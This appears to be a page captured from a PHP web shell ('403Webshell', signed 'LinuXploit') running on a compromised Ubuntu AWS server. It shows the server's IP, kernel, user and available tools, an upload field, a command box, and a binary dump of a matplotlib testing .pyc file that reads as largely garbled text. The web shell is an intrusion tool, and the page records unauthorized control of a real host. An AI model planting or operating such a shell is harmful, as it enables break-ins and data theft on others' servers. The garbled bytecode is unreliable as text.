403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/matplotlib/testing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/matplotlib/testing/__pycache__/widgets.cpython-312.pyc
�

G8�c�
��D�dZddlmZddlmZd�Zd�Zd	d�Zd	d�Z	d
d�Z
y)z|
========================
Widget testing utilities
========================

See also :mod:`matplotlib.tests.test_widgets`.
�N)�mockc���tjdd�\}}|jddgddg�|jd�|jj
j
�|S)z"Create a plot and return its axes.�r��g�?)�plt�subplots�plot�
set_aspect�figure�canvas�draw)�fig�axs  �</usr/lib/python3/dist-packages/matplotlib/testing/widgets.py�get_axr
sS���l�l�1�a� �G�C���G�G�Q��H�q�#�h���M�M�#���I�I������
�I�c��y�N�)�args�kwargss  r�nooprs��rc�8�tj�}||_|jj	||f||fg�d\|_|_||c|_|_||_	|jj|_||_||_
d|_d|_|S)a
    Create a mock event that can stand in for `.Event` and its subclasses.

    This event is intended to be used in tests where it can be passed into
    event handling functions.

    Parameters
    ----------
    ax : `matplotlib.axes.Axes`
        The axes the event will be in.
    xdata : int
        x coord of mouse in data coords.
    ydata : int
        y coord of mouse in data coords.
    button : None or `MouseButton` or {'up', 'down'}
        The mouse button pressed in this event (see also `.MouseEvent`).
    key : None or str
        The key pressed when the mouse event triggered (see also `.KeyEvent`).
    step : int
        Number of scroll steps (positive for 'up', negative for 'down').

    Returns
    -------
    event
        A `.Event`\-like Mock instance.
    rN�Custom)r�Mock�button�	transData�	transform�x�y�xdata�ydata�inaxesrr�key�step�guiEvent�name)rrr!r"r$r%�events       r�
mock_eventr)s���6
�I�I�K�E��E�L��|�|�-�-��u�~�05�u�~�/?�@�@A�C��E�G�U�W�$�e��E�K����E�L��9�9�#�#�E�L��E�I��E�J��E�N��E�J��Lrc�`�t|j|||||�}t||�}||�y)aW
    Trigger an event on the given tool.

    Parameters
    ----------
    tool : matplotlib.widgets.RectangleSelector
    etype : str
        The event to trigger.
    xdata : int
        x coord of mouse in data coords.
    ydata : int
        y coord of mouse in data coords.
    button : None or `MouseButton` or {'up', 'down'}
        The mouse button pressed in this event (see also `.MouseEvent`).
    key : None or str
        The key pressed when the mouse event triggered (see also `.KeyEvent`).
    step : int
        Number of scroll steps (positive for 'up', negative for 'down').
    N)r)r�getattr)	�tool�etyperr!r"r$r%r(�funcs	         r�do_eventr/Cs/��(
�t�w�w���u�c�4�@�E��4���D���Krc���|�t|d|d|dd|��t|d|d|dd��t|d|d|dd��t|d	|d|dd��|�t|d
|d|dd|��yy)a|
    Helper to simulate a mouse drag operation.

    Parameters
    ----------
    tool : `matplotlib.widgets.Widget`
    start : [float, float]
        Starting point in data coordinates.
    end : [float, float]
        End point in data coordinates.
    key : None or str
         An optional key that is pressed during the whole operation
         (see also `.KeyEvent`).
    N�on_key_pressrr)r!r"rr$�press)r!r"r�onmove�release�on_key_release)r/)r,�start�endr$s    r�click_and_dragr8\s�������~�U�1�X�U�1�X��s�	$�
�T�7�%��(�%��(�1�E��T�8�3�q�6��Q���B��T�9�C��F�#�a�&��C�
����'�s�1�v�S��V��s�	$�r)rrrNrr)�__doc__�matplotlib.pyplot�pyplotr�unittestrrrr)r/r8rrr�<module>r=s,��� ���	�&�R�2$r

Youez - 2016 - github.com/yon3zu
LinuXploit